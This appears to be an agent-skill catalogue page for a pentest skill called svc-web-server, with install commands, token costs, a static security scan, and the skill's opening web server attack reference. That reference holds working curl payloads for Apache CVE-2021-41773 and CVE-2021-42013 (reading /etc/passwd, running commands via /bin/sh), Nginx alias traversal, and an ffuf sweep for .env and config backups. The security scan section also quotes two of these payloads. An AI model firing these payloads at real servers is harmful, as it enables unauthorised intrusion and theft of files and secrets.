Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/s0ld13rr/pentestcode/web-servernpx skills add s0ld13rr/pentestcode --skill web-servergit clone --depth 1 https://github.com/s0ld13rr/pentestcodeWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00090 | $0.01272 |
| Opus 5 | $0.00045 | $0.00636 |
| Sonnet 5 | $0.00018 | $0.00254 |
| Haiku 4.5 | $0.00009 | $0.00127 |
Grade B, and why
svc-web-server scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured yesterday.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
- **CVE-2021-42013** (Apache 2.4.49-50): RCE via `curl 'http://<t>/cgi-bin/.%%32%65/.%%32%65/bin/sh' -d 'echo;id'` Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
- **CVE-2021-41773** (Apache 2.4.49): Path traversal via `curl 'http://<t>/cgi-bin/.%2e/%2e%2e/etc/passwd'` How it starts
The opening of the file, as written. The whole thing — 115 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Web Server Attack Reference
Apache
Critical CVEs
- CVE-2021-41773 (Apache 2.4.49): Path traversal via
curl 'http://<t>/cgi-bin/.%2e/%2e%2e/etc/passwd' - CVE-2021-42013 (Apache 2.4.49-50): RCE via
curl 'http://<t>/cgi-bin/.%%32%65/.%%32%65/bin/sh' -d 'echo;id' - CVE-2019-0211 (Apache 2.4.17-2.4.38): Local privesc via scoreboard manipulation
- CVE-2017-9798 (Optionsbleed):
curl -sI -X OPTIONS http://<t>/— leaks memory
Misconfigurations
# Server-status exposure
curl http://<t>/server-status
curl http://<t>/server-info
# .htaccess / .htpasswd readable
curl http://<t>/.htaccess
curl http://<t>/.htpasswd
# Directory listing
curl http://<t>/icons/
Nginx
CVEs
- CVE-2017-7529 (Nginx <1.13.2): Integer overflow → info disclosure
- CVE-2021-23017: DNS resolver off-by-one heap write
Misconfigurations
# Alias traversal (missing trailing slash)
curl http://<t>/static../etc/passwd
# stub_status exposure
curl http://<t>/nginx_status
curl http://<t>/status
# Off-by-slash
# If: location /folder { alias /var/www/; }
# Then: /folder../etc/passwd works
IIS
CVEs
- CVE-2017-7269 (IIS 6.0): WebDAV buffer overflow → RCE
- CVE-2021-31166 (HTTP.sys): Wormable RCE via malformed header
Checks
# Short filename disclosure
curl http://<t>/~1/
# WebDAV methods
curl -X OPTIONS http://<t>/ -sI | grep -i allow
General Web Server Checks
# Technology detection
whatweb http://<t> -a 3
curl -sI http://<t> # single header dump is fine
Backup-file and sensitive-path checks: do these with ffuf/gobuster, NOT a curl
bash-loop. Put the candidate paths in a file and fuzz once:
# sensitive/backup paths in one run, then parse
cat > paths.txt <<'EOF'
.git/HEAD
.env
.DS_Store
web.config
wp-config.php.bak
robots.txt
sitemap.xml
index.php.bak
index.php.old
index.php.orig
index.php~
EOF
ffuf -w paths.txt -u http://<t>/FUZZ -mc 200,301,302,401,403 -maxtime 100 -o ffuf.json -of json
# then (separate command): gobuster_parse on the results
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- yesterday First seen · 115 lines · 90 tokens per session scan B 8db11911901e
svc-web-server is a skill published in the GitHub repository s0ld13rr/pentestcode (566 stars, last pushed 11d ago), licensed MIT. It adds 90 tokens to every session and 1,272 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it B with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
stripe-projects
Use after E2B sandbox/API access has been provisioned through Stripe Projects and the user needs to use the resulting E2B API key with the E2B CLI, JavaScript SDK, Python SDK, or Code Interpreter SDK.
greeting-user
Explains how to properly greet the user.
using-process-tool
Describes how to correctly use 'process' tool.
test-skill
test description.
documents
Create, read, edit, review, comment on, sanitize, render, and validate Microsoft Word DOCX documents. Use whenever a DOCX or Word document is a primary input or deliverable, including reports, proposals, forms, templates, tracked revisions, comments, tables, images, headers, footers, and style-preserving edits.
Read, create, inspect, merge, split, rotate, encrypt, fill, and validate PDF files. Use when the user asks to work with a PDF or convert supported Markdown into a polished PDF in AstrBot.